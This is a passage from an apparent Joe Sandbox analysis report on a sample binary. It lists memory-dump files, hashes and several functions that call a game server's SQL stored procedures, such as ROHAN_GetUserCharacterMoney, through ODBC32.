                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN2_SaveAffectSkill] (?, ?, ?, ?, ?)}
                                                                                                                            • API String ID: 0-2826769423
                                                                                                                            • Opcode ID: 573ca95c51d9d05570cfa76098affc439c186688c756f718314d9036f11c54c6
                                                                                                                            • Instruction ID: 9f55b1ad21f23885691507b1c1fba60b9e4d08ae0d9b9d21de59ac0717139715
                                                                                                                            • Opcode Fuzzy Hash: 573ca95c51d9d05570cfa76098affc439c186688c756f718314d9036f11c54c6
                                                                                                                            • Instruction Fuzzy Hash: 294100B0A417157FFB249B54CC62FAB7374EB84B1AF2082C8F6186E2C5D5B16D408F58
                                                                                                                            Function 0043C796 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 121COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_UpdateTItemHonorPvPpoint] (?, ?, ?, ?, ?)},000000FD), ref: 0043C7B6
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043C7F5
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043C82A
                                                                                                                            • #72.ODBC32(?,00000000,00000001,00000005,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043C862
                                                                                                                            • #72.ODBC32(?,00000000,00000001,00000005,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,00000005,00000005,00000000), ref: 0043C89A
                                                                                                                            • #72.ODBC32(?,00000000,00000001,00000005,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,00000005,00000005,00000000), ref: 0043C8D2
                                                                                                                            • #72.ODBC32(?,00000000,00000001,00000005,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,00000005,00000005,00000000), ref: 0043C90A
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_UpdateTItemHonorPvPpoint] (?, ?, ?, ?, ?)}, xrefs: 0043C7AD
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_UpdateTItemHonorPvPpoint] (?, ?, ?, ?, ?)}
                                                                                                                            • API String ID: 0-4072066093
                                                                                                                            • Opcode ID: 20ff4a8067be9bda18133198fafca691fd79817403c2c5d1b3a4f4985583385c
                                                                                                                            • Instruction ID: 2953467067e15712a3fa072c97b3d7afb408219ecc5c74d0e30f52ab0931e79d
                                                                                                                            • Opcode Fuzzy Hash: 20ff4a8067be9bda18133198fafca691fd79817403c2c5d1b3a4f4985583385c
                                                                                                                            • Instruction Fuzzy Hash: 10413270B802167BEB748B44CC56FBA7336EB84B08F10819AF7087E6C1D6B16D819F58
                                                                                                                            Function 00434ADF Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 121COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_SetNGuildWarKillInfo] (?,?,?,?,?)},000000FD), ref: 00434AFF
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00434B3E
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00434B73
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 00434BAB
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00434BE3
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00434C1B
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 00434C53
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_SetNGuildWarKillInfo] (?,?,?,?,?)}, xrefs: 00434AF6
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_SetNGuildWarKillInfo] (?,?,?,?,?)}
                                                                                                                            • API String ID: 0-801146960
                                                                                                                            • Opcode ID: b9a09609c6d3705d6a45ce8dc3358ab9be75a55ec3b7a749a19c7061604b5475
                                                                                                                            • Instruction ID: 1c888faf965b1e3733a93d7bdc551df330de4fe5a3153a32e5bfa1f758faed6f
                                                                                                                            • Opcode Fuzzy Hash: b9a09609c6d3705d6a45ce8dc3358ab9be75a55ec3b7a749a19c7061604b5475
                                                                                                                            • Instruction Fuzzy Hash: 2B415271B413157BFB249B44CC52FAA7334EB85B24F158289F719BE6C1D2B16D408F09
                                                                                                                            Function 0043C183 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 119COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_GetUserCharacterMoney](?,?,?,?,?)},000000FD), ref: 0043C197
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043C1D9
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043C20E
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043C246
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043C27E
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000E7,000000FB,00000000), ref: 0043C2B6
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000E7,000000FB,00000000), ref: 0043C2EE
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_GetUserCharacterMoney](?,?,?,?,?)}, xrefs: 0043C18E
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_GetUserCharacterMoney](?,?,?,?,?)}
                                                                                                                            • API String ID: 0-4230787193
                                                                                                                            • Opcode ID: fffa1b6f689025acfcd50cb6827ee7d261a62dec00519df34f992964e3963e95
                                                                                                                            • Instruction ID: f25f103d16c7004b1252bb87f4e008da778e575e9d18753d827d29c7d803fcd5
                                                                                                                            • Opcode Fuzzy Hash: fffa1b6f689025acfcd50cb6827ee7d261a62dec00519df34f992964e3963e95
                                                                                                                            • Instruction Fuzzy Hash: AE411DB5644216BFEB308B44CC52FBD7334EB84B14F208298F72C6E6C9DAB169419B58
                                                                                                                            Function 004388DF Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 119COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [Rohan_Rare_ItemControl_Pickup_Log] (?,?,?,?,?)},000000FD), ref: 004388F3
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00438935
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043896A
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004389A2
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004389DA
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00438A12
                                                                                                                            • #72.ODBC32(?,00000000,00000001,00000001,0000000C,00000014,00000000,?,00000015,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00438A4A
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [Rohan_Rare_ItemControl_Pickup_Log] (?,?,?,?,?)}, xrefs: 004388EA
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [Rohan_Rare_ItemControl_Pickup_Log] (?,?,?,?,?)}
                                                                                                                            • API String ID: 0-1413586414
                                                                                                                            • Opcode ID: 40b4cd50f6af6289312743cebbc3b5cb3d5fdc70e704f29723d2d044e809b5f4
                                                                                                                            • Instruction ID: 599c74dfae63675003477e64e56c7f2f03cb1134035d04601802e0b6a4f9290e
                                                                                                                            • Opcode Fuzzy Hash: 40b4cd50f6af6289312743cebbc3b5cb3d5fdc70e704f29723d2d044e809b5f4
                                                                                                                            • Instruction Fuzzy Hash: EA41E0B16802147BEB249B94CD52FAA7335EB84B18F10818AF71C7E6C5D5B17DC09B68
                                                                                                                            Function 00438B49 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 119COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [Rohan_InsertItemControl_Info] (?,?,?,?,?) },000000FD), ref: 00438B5D
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00438B9F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00438BD7
                                                                                                                            • #72.ODBC32(?,00000000,00000001,00000001,0000000C,00000032,00000000,?,00000033,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00438C0F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,00000001,0000000C,00000032), ref: 00438C47
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 00438C7C
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 00438CB4
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [Rohan_InsertItemControl_Info] (?,?,?,?,?) }, xrefs: 00438B54
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [Rohan_InsertItemControl_Info] (?,?,?,?,?) }
                                                                                                                            • API String ID: 0-1172602725
                                                                                                                            • Opcode ID: 73e71a768a2a0b1a9a9c92a602e2711c9ac14d8f29f9d28b81f6632b29c5cfaf
                                                                                                                            • Instruction ID: a77d4b5aee789027a5f2c0f8efd5fbcd2d8dbd0af0e3069bfc114a1fd566c1eb
                                                                                                                            • Opcode Fuzzy Hash: 73e71a768a2a0b1a9a9c92a602e2711c9ac14d8f29f9d28b81f6632b29c5cfaf
                                                                                                                            • Instruction Fuzzy Hash: CB4113B0A547187FEB248B84CC52FAA7334EB80B15F10828BFA157E2D5D5B27D408F68
                                                                                                                            Function 00410A10 Relevance: 14.0, APIs: 5, Strings: 3, Instructions: 38registrywindowCOMMON
